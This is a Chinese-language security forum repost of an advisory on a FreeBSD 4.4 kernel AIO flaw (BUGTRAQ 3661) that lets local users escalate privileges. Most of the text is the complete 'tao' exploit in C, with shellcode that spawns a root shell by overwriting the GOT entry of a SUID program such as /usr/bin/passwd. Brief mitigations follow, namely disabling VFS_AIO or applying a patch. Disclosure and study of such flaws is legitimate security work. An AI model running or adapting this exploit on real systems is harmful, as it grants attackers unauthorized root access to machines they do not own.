|
作者: sorcerer [sorcerer] 论坛用户 | 登录 |
受影响的系统: FreeBSD FreeBSD 4.4 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 3661 aio.h是POSIX标准的异步I/O的实现,如果要使FreeBSD支持AIO的话,只需要在编译内 核时打开“VFS_AIO”选项,缺省情况下该选项是关闭的。 该头文件存在一个安全漏洞,允许本地攻击者提升权限。 在某种条件下,对一个输入的套接口未决的读操作可能导致最终调用“execve”,最后 读操作继续,并且对新的进程的内存空间进行写操作。本地用户如果能够创建并运行一 个调用SUID程序的恶意程序,就可能用任意数据重写SUID程序的任意内存位置,这就可 能导致提升权限。 <*来源:David Rufino (dr@soniq.net) 链接:http://archives.neohapsis.com/archives/bugtraq/2001-12/0090.html *> 测试程序: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! David Rufino (dr@soniq.net)提供了如下测试代码: /* tao - FreeBSD Local AIO Exploit * * http://elysium.soniq.net/dr/tao/tao.html * * 4.4-STABLE is vulnerable up to at least 28th October. * * (C) David Rufino <dr@soniq.net> 2001 * All Rights Reserved. * *************************************************************************** * bug found 13/07/01 * * Any scheduled AIO read/writes will generally persist through an execve. * * "options VFS_AIO" must be in your kernel config, which is not enabled * by default. * * It may be interesting to note that the FreeBSD team have known about this * bug for a long time. Just take a look at 'LINT'. * * get the GOT address of exit, from any suid bin, by doing: * $ objdump --dynamic-reloc bin | grep exit */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <aio.h> char code[]= "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; unsigned long GOT = 0x0804fe20; char *execbin = "/usr/bin/passwd"; int main (argc, argv) int argc; char **argv; { int fds[2], sdf[2]; struct aiocb cb, cb2; char buf[128], d; if ((d = getopt (argc, argv, "g:e:")) != -1) { switch (d) { case 'g': GOT = strtoul (optarg, NULL, 16); break; case 'e': execbin = optarg; break; } } printf ("got address: %08lx\n", GOT); printf ("executable: %s\n", execbin); /* * pipes are treated differently to sockets, with sockets the * aiod gets notifyed, whereas with pipes the aiod starts * immediately blocking in fo_read. This is a problem because * after the execve the aiod is still using the old vmspace struct * if you use pipes, which means the data doesnt actually get copied */ if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) { perror ("socketpair"); return (EXIT_FAILURE); } if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) { perror ("socketpair"); return (EXIT_FAILURE); } if (fork() != 0) { close (fds[0]); close (sdf[0]); memset (&cb, 0, sizeof(cb)); memset (&cb2, 0, sizeof(cb2)); cb.aio_fildes = fds[1]; cb.aio_offset = 0; cb.aio_buf = (void *)GOT; cb.aio_nbytes = 4; cb.aio_sigevent.sigev_notify = SIGEV_NONE; cb2.aio_fildes = sdf[1]; cb2.aio_offset = 0; cb2.aio_buf = (void *)0xbfbfff80; cb2.aio_nbytes = sizeof(code); cb2.aio_sigevent.sigev_notify = SIGEV_NONE; if (aio_read (&cb2) < 0) { perror ("aio_read"); return (EXIT_FAILURE); } if (aio_read (&cb) < 0) { perror ("aio_read"); return (EXIT_FAILURE); } execl (execbin, "test", NULL); } else { close(fds[1]); close(sdf[1]); sleep(2); printf ("writing\n"); write (sdf[0], code, sizeof(code)); *(unsigned int *)buf = 0xbfbfff80; write (fds[0], buf, 4); } return (EXIT_SUCCESS); } /* * vim: ts=8 */ -------------------------------------------------------------------------------- 建议: 临时解决方法: 如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁: * 如果你在编译内核时打开了“VFS_AIO”选项,可以重新编译内核并关闭该选项 * 使用David Rufino (dr@soniq.net)提供的限制root用户使用AIO 的补丁,可以从http://elysium.soniq.net/dr/tao/patch-01下载 厂商补丁: 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商 的主页以获取最新版本: http://www.freebsd.org 本文作者:cnsker.com |
地主 发表时间: 02/08 15:22 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号